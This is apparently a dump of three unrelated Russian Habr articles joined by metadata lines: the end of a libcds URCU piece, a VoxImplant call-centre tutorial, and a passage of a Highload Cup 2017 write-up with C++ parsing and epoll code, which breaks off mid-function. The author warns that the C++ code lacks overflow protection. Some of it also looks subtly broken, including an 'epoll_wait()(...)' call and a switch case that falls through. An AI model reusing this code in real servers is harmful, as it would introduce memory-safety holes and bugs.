Использование URCU-контейнеров библиотеки libcds совершенно прозрачно: достаточно просто объявить объект-контейнер с URCU gc, — и всё. Вся специфика работы с URCU спрятана внутри URCU-специализации контейнера. Никакой внешней синхронизации при доступе к такому контейнеру не требуется.
**UPD: Упс!***«Никакой внешней синхронизации не требуется»* — это я несколько погорячился.
На самом деле, некоторые методы некоторых URCU-контейнеров требуют предварительного входа в критическую секцию чтения. Как правило, это методы удаления (извлечения) элемента контейнера. URCU может обеспечить нам возможность *возврата* указателя на найденный по ключу элемент. Такая возможность — редкое исключение в мире lock-free, где обычно возврат указателя смерти подобен, так как элемент может быть удален в любой момент конкурирующим потоком. Но чтобы безопасно работать с возвращенным указателем на элемент, мы должны находится в критической секции чтения. Так что в этом случае следует явно перед вызовом метода контейнера вызвать `access_lock`, а по завершении работы с указателем — `access_unlock`, а лучшей (exception-safe) методикой будет применение scoped-lock в отдельном блоке кода.
В описании каждого метода URCU-контейнера библиотеки libcds отмечается, как следует вызывать данный метод — в критической секции или нет.
Если же вы решитесь сделать свой собственный класс контейнера, основанный на реализации URCU из libcds, следует подробно разобраться с внутренним устройством URCU-контейнеров библиотеки. В принципе, ничего сверхестественного нет: при входе в метод вызываем `gc::access_lock()`, при выходе — `gc::access_unlock()` (здесь `gc` — это одна из реализаций URCU; для безопасности исключений лучше использовать технику scoped lock вместо вызова функций). Единственный тонкий момент — удаление элемента: метод удаления также должен входить в критическую секцию чтения, но физическое удаление элемента, осуществляемое вызовом `gc::retire_ptr`, должно производиться *вне* критической секции, иначе возможен deadlock: метод `gc::retire_ptr` внутри может вызвать `synchronize`.
Libcds определяет URCU-специализации для всех классов set и map. URCU-специализации для контейнеров типа «очередь» и «стек» не определено, — это не «почти read-only» контейнеры, так что URCU не для них.
**Lock-free структуры данных**[Начало](http://habrahabr.ru/company/ifree/blog/195770/)
Основы:
* [Атомарность и атомарные примитивы](http://habrahabr.ru/company/ifree/blog/195948/)
* [Откуда пошли быть барьеры памяти](http://habrahabr.ru/company/ifree/blog/196548/)
* [Модель памяти](http://habrahabr.ru/company/ifree/blog/197520/)
Внутри:
* [Схемы управления памятью](http://habrahabr.ru/company/ifree/blog/202190/)
* [RCU](http://habrahabr.ru/company/ifree/blog/206984/)
* [Эволюция стека](http://habrahabr.ru/company/ifree/blog/216013/)
* [Очередной трактат](http://habrahabr.ru/company/ifree/blog/219201/)
* [Диссекция очереди](http://habrahabr.ru/post/230349/)
* [Concurrent maps: разминка](http://habrahabr.ru/post/250383/)
* [Concurrent maps: rehash, no rebuild](http://habrahabr.ru/post/250523/)
* [Concurrent maps: skip list](http://habrahabr.ru/post/250815/)
* [Concurent maps: деревья](https://habrahabr.ru/post/251267/)
* [Итераторы: multi-level array](https://habrahabr.ru/post/314948/)
* [Iterable list](https://habrahabr.ru/post/317882/)
Извне:
* [Введение в libcds](http://habrahabr.ru/company/ifree/blog/196834/) | https://habr.com/ru/post/206984/ | null | ru | null |
# Делаем Новогодний колл-центр
> Внимание! Данная статья устарела. Вы можете ознакомиться с более свежими статьями здесь или почитать [блог на нашем сайте](https://voximplant.com/blog).
>
>
Приближается новый 2015 год и мы, немного поразмышляв, решили развлечь людей и заодно реализовать идею новогоднего колл-центра с ~~блекджеком~~ Дедами Морозами и Снегурочками, отвечающими на звонки желающих пообщаться в предновогоднее время. Каждый желающий может стать оператором этого колл-центра, выбрав пол оператора, так же как каждый желающий может позвонить в этот колл-центр прямо из браузера (потребуется микрофон) или просто набрав номер телефона. Операторское место Деда Мороза/Снегурочки будет работать прямо в браузере (привет WebRTC) и тут без микрофона уже никак не обойтись. Для реализации такого сервиса может потребоваться достаточно много времени, если все делать с нуля, но мы воспользуемся платформой VoxImplant, которая нам значительно облегчит и ускорит весь процесс. Итого, нужно сделать веб-сервис для регистрации желающих стать операторами, а также 2 веб-приложения — звонилку и операторское место + написать парочку сценариев на javascript. Мы надеемся, что найдется достаточно желающих выступить операторами нашего колл-центра, а то звонящим придется долго ждать разговора в очереди. Чтобы было интереснее мы организуем рейтинг самых разговорчивых операторов и им дадим подарочные сертификаты VoxImplant, чтобы они могли потом сами реализовать свой собственный сервис с ~~блекджеком~~… ну, в общем, вы поняли. Все самое интересное, как обычно, под катом!
### Результат
Для тех кому не терпится попробовать сервис сразу даю ссылку <http://demos.zingaya.com/newyear/>, думаю что интерфейс не требует особых комментариев. Выбираем свою сторону и звоним/принимаем звонки.
Регистрируем аккаунт оператора, логинимся и ставим статус «Готов принимать звонки»
Как только какой-нибудь из входящих вызовов распределится на оператора, то заиграет мелодия и появится всплывающее окно, где можно ответить на звонок.
### Создание приложения
Авторизуемся в панели управления VoxImplant (<https://manage.voximplant.com>) и создаем в разделе Applications приложение newyear, это просто виртуальная сущность, к которой мы будем цеплять юзеров-операторов, а также опишем правила обработки звонков (какой сценарий должен обрабатывать какие звонки).
### Создание сценария VoxEngine
Теперь надо написать сценарий, который будет обрабатывать входящие звонки и распределять их по операторам. Сценарии для VoxImplant пишутся на JS. Наш будет выглядеть так:
```
// Подключаем модули ACD (распределение вызовов) и ASR (распознавание речи)
require(Modules.ACD);
require(Modules.ASR);
var request,
originalCall,
callerid,
statusInterval,
asrTimeout,
asr,
queueName = 'MainQueue';
// Вешаем обработчик входящего звонка
VoxEngine.addEventListener(AppEvents.CallAlerting, handleInboundCall);
// Функция-обработчик входящего звонка
function handleInboundCall(e) {
originalCall = e.call; // сохраняем экземпляр входящего звонка
callerid = e.callerid; // сохраняем caller id
// Вешаем обработчики
originalCall.addEventListener(CallEvents.Connected, handleCallConnected);
originalCall.addEventListener(CallEvents.Failed, cleanup);
originalCall.addEventListener(CallEvents.Disconnected, cleanup);
// Отвечаем на входящий вызов
originalCall.answer();
}
// Завершаем звонок и убиваем сессию
function cleanup(e) {
if (request) {
// Если поставили звонок в очередь - отменяем
request.cancel();
request = null;
}
// Убиваем сессию
VoxEngine.terminate();
}
// Проиграть музыку после того как отработает TTS
function handlePlaybackFinished(e) {
e.call.startPlayback("http://cdn.voximplant.com/newyear.mp3");
}
// Функция для преобразования окончаний времени ожидания для TTS
function getNumEnding(iNumber, aEndings) {
var sEnding, i;
iNumber = iNumber % 100;
if (iNumber >= 11 && iNumber <= 19) {
sEnding = aEndings[2];
} else {
i = iNumber % 10;
switch (i) {
case (1):
sEnding = aEndings[0];
break;
case (2):
case (3):
case (4):
sEnding = aEndings[1];
break;
default:
sEnding = aEndings[2];
}
}
return sEnding;
}
// Звонок соединен
function handleCallConnected(e) {
// Проигрываем сообщение
e.call.say("Новогодний колл-центр приветствует васс!!! " +
"Вы хотите поговорить со снегурочкой или с дедом морозом?", Language.RU_RUSSIAN_FEMALE);
e.call.addEventListener(CallEvents.PlaybackFinished, handleIntroPlayed);
}
// После проигрывания интро
function handleIntroPlayed(e) {
e.call.removeEventListener(CallEvents.PlaybackFinished, handleIntroPlayed);
// Создаем инстанс для распознавания речи с указанным словарем
asr = VoxEngine.createASR(ASRLanguage.RUSSIAN_RU, ["со снегурочкой",
"снегурочкой",
"снегурочка",
"с дедом морозом",
"дедом морозом",
"дед мороз"
]);
// Если начался захват речи
asr.addEventListener(ASREvents.CaptureStarted, function (e) {
clearTimeout(asrTimeout);
});
// Результат распознавания
asr.addEventListener(ASREvents.Result, function (e) {
// Выключить распознавание
asr.stop();
// Если выбрали снегурочку, то меняем название очереди на SnegurQueue
if ((e.text == 'со снегурочкой' || e.text == 'снегурочкой' || e.text == 'снегурочка') && e.confidence >= 50) {
originalCall.say("Отлично! Первая свободная снегурочка ответит на ваш звонок.", Language.RU_RUSSIAN_FEMALE);
queueName = 'SnegurQueue';
originalCall.addEventListener(CallEvents.PlaybackFinished, addToQueue);
} else if ((e.text == 'с дедом морозом' || e.text == 'дедом морозом' || e.text == 'дед мороз') && e.confidence >= 50) {
// Если выбрали деда мороза, то очередь - MorozQueue
originalCall.say("Отлично! Первый свободный дед мороз ответит на ваш звонок.", Language.RU_RUSSIAN_FEMALE);
queueName = 'MorozQueue';
originalCall.addEventListener(CallEvents.PlaybackFinished, addToQueue);
} else {
// Если уверенности нет (точность < 50%), то отправляем в общую очередь - MainQueue
originalCall.say("Первый свободный дед мороз или снегурочка ответят на ваш звонок.", Language.RU_RUSSIAN_FEMALE);
originalCall.addEventListener(CallEvents.PlaybackFinished, addToQueue);
}
});
// Отправляем звук в инстанс ASR
originalCall.sendMediaTo(asr);
// Если в течение 3 секунд не сказали с кем хотят поговорить, то отправляем в общую очередь
asrTimeout = setTimeout(function () {
asr.stop();
originalCall.say("Первый свободный дед мороз или снегурочка ответят на ваш звонок.", Language.RU_RUSSIAN_FEMALE);
originalCall.addEventListener(CallEvents.PlaybackFinished, addToQueue);
}, 3000);
}
// Добавляем звонок в определенную очередь в зависимости от queueName
function addToQueue(e) {
Logger.write('Adding call to queue: '+queueName);
originalCall.removeEventListener(CallEvents.PlaybackFinished, addToQueue);
// После завершения TTS включаем проигрывание музычки
originalCall.addEventListener(CallEvents.PlaybackFinished, handlePlaybackFinished);
// Добавляем в очередь
request = VoxEngine.enqueueACDRequest(queueName, callerid);
// Получаем статус звонка в очереди
request.addEventListener(ACDEvents.Queued, function (acdevent) {
request.getStatus();
});
// Сообщить о положении звонка в очереди
request.addEventListener(ACDEvents.Waiting, function (acdevent) {
var minutesLeft = acdevent.ewt + 1,
txt = 'Дед мороз или снегурочка ответят вам через';
if (queueName == 'SnegurQueue') txt = "Снегурочка ответит вам через";
else if (queueName == 'MorozQueue') txt = "Дед мороз ответит вам через";
originalCall.say("Вы в очереди под номером " + acdevent.position +
". " + txt + " " + (acdevent.ewt + 1) + getNumEnding(minutesLeft, ['минуту', 'минуты', 'минут']), Language.RU_RUSSIAN_FEMALE);
});
// Дошла очередь - соединяем звонящего с оператором
request.addEventListener(ACDEvents.OperatorReached, function (acdevent) {
VoxEngine.sendMediaBetween(acdevent.operatorCall, originalCall);
acdevent.operatorCall.sendMessage(JSON.stringify({
number: originalCall.callerid()
}));
acdevent.operatorCall.addEventListener(CallEvents.Disconnected, VoxEngine.terminate);
clearInterval(statusInterval);
});
// Нет доступных операторов
request.addEventListener(ACDEvents.Offline, function (acdevent) {
clearInterval(statusInterval);
// Если были в очереди к снегуркам или дедам морозом, то пытаемся переопределить в общую очередь
if (queueName == 'SnegurQueue') {
originalCall.say("К сожалению, нет ни одной снегурочки отвечающей на звонки. Попробуем найти деда мороза!", Language.RU_RUSSIAN_FEMALE);
queueName = 'MainQueue';
originalCall.addEventListener(CallEvents.PlaybackFinished, addToQueue);
} else if (queueName == 'MorozQueue') {
originalCall.say("К сожалению, нет ни одного деда мороза отвечающего на звонки. Попробуем найти снегурочку!", Language.RU_RUSSIAN_FEMALE);
queueName = 'MainQueue';
originalCall.addEventListener(CallEvents.PlaybackFinished, addToQueue);
} else {
// Если ни одного деда мороза и снегурки нет, то предлагаем стать оператором и завершаем звонок
originalCall.say("К сожалению, нет ни одного деда мороза или снегурочки отвечающих на звонки. Попробуйте позвонить позднее " +
"или сами станьте оператором нашего новогоднего колл-центра! Спасибо за звонок!", Language.RU_RUSSIAN_FEMALE);
originalCall.addEventListener(CallEvents.PlaybackFinished, VoxEngine.Terminate);
}
});
// Обновлять информацию о положении в очереди каждые 30 секунд
statusInterval = setInterval(request.getStatus, 30000);
}
```
### Созданием правил обработки
Входящие звонки с номера и с web sdk надо направить на обработку нашим сценарием. В веб-приложении для исходящих звонков мы зашили номер newyearcall, а в разделе с номерами телефонов подключили номер 74951330204 к нашему приложению. Создаем 2 правила:
### Организация очередей
В контексте данного проекта нам потребуется создать 3 разных очереди (Settings -> Queues) — **MainQueue** (все), **MorozQueue** (только деды морозы) и **SnegurQueue** (только снегурочки). Звонящему предлагается выбрать с кем он хочет поговорить — со снегурочкой или с дедом морозом, выбор производится с помощью системы распознавания голоса, которая доступна в VoxImplant, из заранее описанного словаря. Если в течение 3 секунд выбор не был озвучен или система не уверена в распознанном варианте (вероятность < 50%), то звонок направляется в общую очередь, которую обслуживаю и деды морозы и снегурочки. Если выбор был сделан успешно, то оправляем в конкретную очередь. В случае если данную очередь не обслуживает ни один оператор, то переопределяем вызов в общую очередь, а если и там никого из операторов нет — проигрываем сообщение и предлагаем самом стать оператором.
Помимо создания очередей нужно еще создать соответствующие скилл-группы, так как привязка пользователей приложения (операторов) к очередям делается именно через скиллы (Settings -> Skills). Создаем 3 скилла: **NewYearSkillAll**, **NewYearSkillMoroz** и **NewYearSkillSnegur**, соответственно каждому скиллу задаем свою очередь — MainQueue, MorozQueue и SnegurQueue. При создании юзеров-операторов, мы будем их цеплять сразу к 2 скилл-группам — NewYearSkillAll + NewYearSkillMoroz (деды морозы) или NewYearSkillSnegur (снегурки).
### Операторское место
Операторское место, как и веб-звонилка, делаются с помощью [Web SDK VoxImplant](http://voximplant.com/docs/references/websdk/). Из важных моментов можно отметить реализацию переключателя статуса оператора с помощью функции [setOperatorACDStatus](https://voximplant.com/docs/references/websdk/voximplant/client#setoperatoracdstatus).
```
vox.setOperatorACDStatus(VoxImplant.OperatorACDStatuses.Ready); // где vox - инстанс VoxImplant.Client
```
Звонки будут распределяться на оператора только когда он находится в состоянии Ready. Нахождение в остальных состояниях отражается в статистике по работе оператора.
В общем, этого достаточно, остальные прикручивания (удаленное создание юзеров приложения и т.д.) уже делаются на базе [HTTP API VoxImplant](http://voximplant.com/docs/references/httpapi/).
Еще раз ссылка на результат <http://demos.zingaya.com/newyear/> или можно просто набрать +74951330204
P.S. Доделали ТОП операторов
Итак, победителями нашего конкурса стали операторы с логинами:
frizalzal
iboldurev
pizdag
zoor4117
ThereIsNoSanta
Fiesta
DedMorozZzZ
Sheriff
BenterShot
joloweb6
Ребята, напишите в личку для получения призов. | https://habr.com/ru/post/247345/ | null | ru | null |
# Мои 5 копеек про Highload Cup 2017 или история 9го места
Про Higload Cup уже было несколько статей, поэтому о том, что это было писать не буду, кто пропустил можете почитать в [«История 13 места на Highload Cup 2017»](https://habrahabr.ru/post/337710/).
Так же постараюсь не повторяться и поделюсь интересными, с моей точки зрения, решениями. Под катом:
1. Немного про структуру данных
2. Парсинг JSON'а на define'ах
3. URI unescape
4. UTF decode
5. HTTP Server
6. Тюнинг сети
и много кода.
Велосипеды
----------
Первую версию я написал на Go, используя net/http и encoding/json. И она легла на 2 000 RPS. После этого net/http был заменён на fasthttp, а encoding/json на easyjson. Такая конфигурация позволила уйти спать на первом месте, но с утра я уже был кажется на третьем. Здесь возникла дилемма: оптимизировать код на Go или сразу писать на C++, чтобы иметь более гибкий инструмент ближе к финалу, когда важны будут наносекунды.
Я выбрал второй вариант, при этом решил использовать только системные библиотеки и написать свой HTTP сервер, который не тратит время на ненужные в данном случае вещи и JSON парсер/сериализатор. Ещё изначально хотелось поиграться с libnuma и SSE 4.2 командами, но до этого не дошло, так как, забегая вперёд, самая долгая операция была write в сокет.
**Весь приведённый ниже код не является «production ready», он написан для конкретных тесткейсов конкурса, в нём нет защиты от переполнения, точнее там вообще нет никакой защиты, использовать его в таком виде не безопасно!**
Немного про структуру данных
----------------------------
Есть всего 3 таблицы:
В патронах к танку нашлось чуть больше 1 000 000 пользователей, около 800 000 location'ов и чуть больше 10 000 000 визитов.
Сервис должен возвращать элементы из этих таблиц по Id. Первое желание было сложить их в map'ы, но к счастью Id оказались практически без пропусков, поэтому можно саллоцировать непрерывные массивы и хранить элементы там.
Также сервис должен уметь работать с агрегированной информацией, а именно
* возвращать список посещённых пользователем location'ов в отсортированном по дате посещения порядке
* возвращать среднюю оценку для location'а
Чтобы делать это эффективно, нужны индексы.
Для каждого пользователя я завёл поле `std::set`, где `visitsCmp` позволяет хранить id визитов в отсортированном по дате визита порядке. Т.е. при выводе не нужно копировать визиты в отдельный массив и сортировать, а можно сразу выводить в сериализованном виде в буфер. Выглядит он так:
```
struct visitsCmp {
Visit* visits;
bool operator()(const uint32_t &i, const uint32_t &j) const {
if (visits[i].VisitedAt == visits[j].VisitedAt) {
return visits[i].Id < visits[j].Id;
} else {
return visits[i].VisitedAt < visits[j].VisitedAt;
}
}
```
В случае со средней оценкой location'а, порядок не важен, поэтому для каждого location'а я завёл поле типа `std::unordered_set`, в котором содержатся в визиты конкретного location'а.
При любом добавлении/изменении визита нужно было не забывать обновлять данные в затрагиваемых индексах. В коде это выглядит так:
```
bool DB::UpdateVisit(Visit& visit, bool add) {
if (add) {
memcpy(&visits[visit.Id], &visit, sizeof(Visit));
// Добвляем визит в индексы
users[visit.User].visits->insert(visit.Id);
locations[visit.Location].visits->insert(visit.Id);
return true;
}
// Если изменилась дата визита, то надо пересортировать визиты пользователя
if (visit.Fields & Visit::FIELD_VISITED_AT) {
users[visits[visit.Id].User].visits->erase(visit.Id);
visits[visit.Id].VisitedAt = visit.VisitedAt;
users[visits[visit.Id].User].visits->insert(visit.Id);
}
if (visit.Fields & Visit::FIELD_MARK) {
visits[visit.Id].Mark = visit.Mark;
}
// Если изменилась пользователь то надо удалить у старого пользователя из индекса и добавить новому
if (visit.Fields & Visit::FIELD_USER) {
users[visits[visit.Id].User].visits->erase(visit.Id);
users[visit.User].visits->insert(visit.Id);
visits[visit.Id].User = visit.User;
}
// Аналогично, если изменился location
if (visit.Fields & Visit::FIELD_LOCATION) {
locations[visits[visit.Id].Location].visits->erase(visit.Id);
locations[visit.Location].visits->insert(visit.Id);
visits[visit.Id].Location = visit.Location;
}
return true;
}
```
Вообще среднее количество элементов в индексе 10, максимальное — 150. Так что можно было бы обойтись просто массивом, что повысило бы локальность данных и не сильно замедлило модификацию.
Парсинг JSON'а на define'ах
---------------------------
Те JSON парсеры, которые я нашёл для C/C++, строят дерево при парсинге, а это лишние аллокации, что в highload неприемлемо. Так же есть те, которые складывают данные напрямую в переменные, но в таком случае нельзя узнать, какие поля были в JSON объекте, а это важно, так как при изменении объекта JSON приходит не с полным набором полей, а только с теми, которые надо изменить.
JSON, который должен парсить сервис очень простой, это одноуровневый объект, который содержит только известные поля, внутри строк нет кавычек. JSON для пользователя выглядит так:
```
{
"id": 1,
"email": "robosen@icloud.com",
"first_name": "Данила",
"last_name": "Стамленский",
"gender": "m",
"birth_date": 345081600
}
```
Т.е. довольно просто написать для него парсер на мета языке
```
bool User::UmnarshalJSON(const char* data, int len) {
JSON_SKIP_SPACES()
JSON_START_OBJECT()
while (true) {
JSON_SKIP_SPACES()
// Конец объекта
if (data[0] == '}') {
return true;
// Разделитель полей
} else if (data[0] == ',') {
data++;
continue;
// Поле "id"
} else if (strncmp(data, "\"id\"", 4) == 0) {
data += 4;
JSON_SKIP_SPACES()
JSON_FIELDS_SEPARATOR()
JSON_SKIP_SPACES()
// Прочитать и сохранить значение в поле Id
JSON_LONG(Id)
// Выставить флаг, что поле Id было в JSON
Fields |= FIELD_ID;
// Поле "lastname"
} else if (strncmp(data, "\"last_name\"", 11) == 0) {
data += 11;
JSON_SKIP_SPACES()
JSON_FIELDS_SEPARATOR();
JSON_SKIP_SPACES()
// Прочитать и сохранить значение в поле Id
JSON_STRING(LastName)
// Выставить флаг, что поле LastName было в JSON
Fields |= FIELD_LAST_NAME;
} else if (strncmp(data, "\"first_name\"", 12) == 0) {
data += 12;
JSON_SKIP_SPACES()
JSON_FIELDS_SEPARATOR()
JSON_SKIP_SPACES()
JSON_STRING(FirstName)
Fields |= FIELD_FIRST_NAME;
} else if (strncmp(data, "\"email\"", 7) == 0) {
data += 7;
JSON_SKIP_SPACES()
JSON_FIELDS_SEPARATOR()
JSON_SKIP_SPACES()
JSON_STRING(EMail)
Fields |= FIELD_EMAIL;
} else if (strncmp(data, "\"birth_date\"", 12) == 0) {
data += 12;
JSON_SKIP_SPACES()
JSON_FIELDS_SEPARATOR()
JSON_SKIP_SPACES()
JSON_LONG(BirthDate)
Fields |= FIELD_BIRTH_DATE;
} else if (strncmp(data, "\"gender\"", 8) == 0) {
data += 8;
JSON_SKIP_SPACES()
JSON_FIELDS_SEPARATOR()
JSON_SKIP_SPACES()
JSON_CHAR(Gender)
Fields |= FIELD_GENDER;
} else {
JSON_ERROR(Unknow field)
}
}
return true;
}
```
Осталось только определить на что заменить команды мета языка и парсер готов:
```
#define JSON_ERROR(t) fprintf(stderr, "%s (%s:%d)\n", #t, __FILE__, __LINE__); return false;
#define JSON_SKIP_SPACES() data += strspn(data, " \t\r\n")
#define JSON_START_OBJECT() if (data[0] != '{') { \
JSON_ERROR(Need {}) \
} \
data++;
#define JSON_FIELDS_SEPARATOR() if (data[0] != ':') { \
JSON_ERROR(Need :) \
} \
data++;
#define JSON_LONG(field) char *endptr; \
field = strtol(data, &endptr, 10); \
if (data == endptr) { \
JSON_ERROR(Invalid ## field ## value); \
} \
data = endptr;
#define JSON_STRING(field) if (data[0] != '"') {\
JSON_ERROR(Need dquote); \
} \
auto strend = strchr(data+1, '"'); \
if (strend == NULL) { \
JSON_ERROR(Need dquote); \
} \
field = strndup(data+1, strend - data - 1); \
data = strend + 1;
#define JSON_CHAR(field) if (data[0] != '"') {\
JSON_ERROR(Need dquote); \
} \
if (data[2] != '"') {\
JSON_ERROR(Need dquote); \
} \
field = data[1]; \
data += 3;
```
URI unescape
------------
В получении списка мест, которые посетил пользователь есть фильтр по стране, который может быть в виде URI encoded строки: `/users/1/visits?country=%D0%A0%D0%BE%D1%81%D1%81%D0%B8%D1%8F`. Для декодинга на StackOverflow было найдено замечательное решение, в которое я дописал поддержку замены + на пробел:
```
int percent_decode(char* out, char* in) {
static const char tbl[256] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, -1, -1, -1, -1, -1, -1,
-1, 10, 11, 12, 13, 14, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 10,
11, 12, 13, 14, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1 };
char c, v1, v2;
if (in != NULL) {
while ((c = *in++) != '\0') {
switch (c) {
case '%':
if (!(v1 = *in++) || (v1 = tbl[(unsigned char) v1]) < 0
|| !(v2 = *in++)
|| (v2 = tbl[(unsigned char) v2]) < 0) {
return -1;
}
c = (v1 << 4) | v2;
break;
case '+':
c = ' ';
break;
}
*out++ = c;
}
}
*out = '\0';
return 0;
}
```
UTF decode
----------
Строки в JSON объектах могут быть вида `"\u0420\u043E\u0441\u0441\u0438\u044F"`. В общем случае это не страшно, но у нас есть сравнение со страной, поэтому одно поле нужно уметь декодировать. За основу я взял `percent_decode`, только в случае с Unicode не достаточно превратить `\u0420` в 2 байта 0x0420, этому числу надо поставить в соответствие UTF символ. К счастью у нас только символы кириллицы и пробелы, поэтому если посмотреть на [таблицу](http://www.utf8-chartable.de/unicode-utf8-table.pl?start=1024&names=-), то можно заметить, что есть всего один разрыв последовательностей между буквами «п» и «р», так что для преобразования можно использовать смещение:
```
void utf_decode(char* in) {
static const char tbl[256] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, -1, -1, -1, -1, -1, -1,
-1, 10, 11, 12, 13, 14, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 10,
11, 12, 13, 14, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1 };
char *out = in;
while (in[0] != 0) {
if (in[0] == '\\' && in[1] == 'u') {
uint16_t u = tbl[in[2]] << 12 | tbl[in[3]] << 8 | tbl[in[4]] << 4 | tbl[in[5]];
// Все ASCII символы оставляем как есть
if (u < 255) {
out[0] = u;
out++;
} else {
uint16_t w;
// < 'р'
if (u >= 0x0410 && u <= 0x043f) {
w = u - 0x0410 + 0xd090;
// >= 'р'
} else {
w = u - 0x0440 + 0xd180;
}
out[0] = w >> 8;
out[1] = w;
out += 2;
}
in += 6;
} else {
out[0] = in[0];
in++;
out++;
}
}
out[0] = 0;
}
```
HTTP Server
-----------
### Парсер
Из HTTP запроса нужно достать метод (GET/POST), query (path + parameters) и в случае POST запроса тело. Парсить и хранить заголовки нет смысла, за исключением заголовка Content-Lentgth для POST запросов, но как оказалось позже и это не надо, так как все запросы вмещаются в один read. В итоге получился вот такой парсер:
```
...
auto body = inBuf.Data;
const char *cendptr;
char *endptr;
while (true) {
switch (state) {
case METHOD:
body += strspn(body, " \r\n");
if (strncmp(body, "GET ", 4) == 0) {
method = GET;
body += 4;
} else if (strncmp(body, "POST ", 5) == 0) {
body += 5;
method = POST;
} else {
state = DONE;
WriteBadRequest();
return;
}
body += strspn(body, " ");
cendptr = strchr(body, ' ');
if (cendptr == NULL) {
WriteBadRequest();
return;
}
strncpy(path.End, body, cendptr - body);
path.AddLen(cendptr - body);
cendptr = strchr(cendptr + 1, '\n');
if (cendptr == NULL) {
WriteBadRequest();
return;
}
state = HEADER;
body = (char*) cendptr + 1;
break;
case HEADER:
cendptr = strchr(body, '\n');
if (cendptr == NULL) {
WriteBadRequest();
return;
}
if (cendptr - body < 2) {
if (method == GET) {
doRequest();
return;
}
state = BODY;
}
body = (char*) cendptr + 1;
case BODY:
requst_body = body;
doRequest();
return;
}
...
```
### Routing
Хендлеров совсем мало, поэтому просто switch по методу, а внутри поиск префикса простым сравнением:
```
...
switch (method) {
case GET:
if (strncmp(path.Data, "/users", 6) == 0) {
handlerGetUser();
} else if (strncmp(path.Data, "/locations", 10) == 0) {
handlerGetLocation();
} else if (strncmp(path.Data, "/visits", 7) == 0) {
handlerGetVisit();
} else {
WriteNotFound();
}
break;
case POST:
if (strncmp(path.Data, "/users", 6) == 0) {
handlerPostUser();
} else if (strncmp(path.Data, "/locations", 10) == 0) {
handlerPostLocation();
} else if (strncmp(path.Data, "/visits", 7) == 0) {
handlerPostVisit();
} else {
WriteNotFound();
}
break;
default:
WriteBadRequest();
}
...
```
### Keep-Alive
Яндекс.Танк не обращает внимание на заголовок «Connection» в патронах, а смотрит только на этот заголовок в ответе от сервера. Поэтому не нужно рвать соединение, а нужно работать в режиме Keep-Alive всегда.
### Работа с сетью
Для реализации асинхронного взаимодействия естественно был выбран epoll. Я знаю 3 популярных варианта работы с epoll в многопоточном приложении:
1. N потоков имеют общий epoll + 1 поток ждёт accept в блокирующем режиме и регистрирует клиентские сокеты в epoll
2. N потоков имеют N epoll'ов + 1 поток ждёт accept в блокирующем режиме и регистрирует клиентские сокеты в epoll'ах, допустим используя RoundRobin.
3. Каждый поток имеет свой epoll, в котором зарегистрирован серверный сокет, находящийся в неблокирующем состоянии и клиентские сокеты, которое этот поток захватил.
Я сравнивал 2 и 3 варианты и на локальных тестах третий вариант немного выиграл, выглядит он так:
```
void Worker::Run() {
int efd = epoll_create1(0);
if (efd == -1) {
FATAL("epoll_create1");
}
connPool = new ConnectionsPool(db);
// Регистрируем серверный сокет в epoll
auto srvConn = new Connection(sfd, defaultDb);
struct epoll_event event;
event.data.ptr = srvConn;
event.events = EPOLLIN;
if (epoll_ctl(efd, EPOLL_CTL_ADD, sfd, &event) == -1) {
perror("epoll_ctl");
abort();
}
struct epoll_event *events;
events = (epoll_event*) calloc(MAXEVENTS, sizeof event);
while (true) {
auto n = epoll_wait()(efd, events, MAXEVENTS, -1);
for (auto i = 0; i < n; i++) {
auto conn = (Connection*) events[i].data.ptr;
if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP)
|| (!(events[i].events & EPOLLIN))) {
/* An error has occured on this fd, or the socket is not
ready for reading (why were we notified then?) */
fprintf(stderr, "epoll error\n");
close(conn->fd);
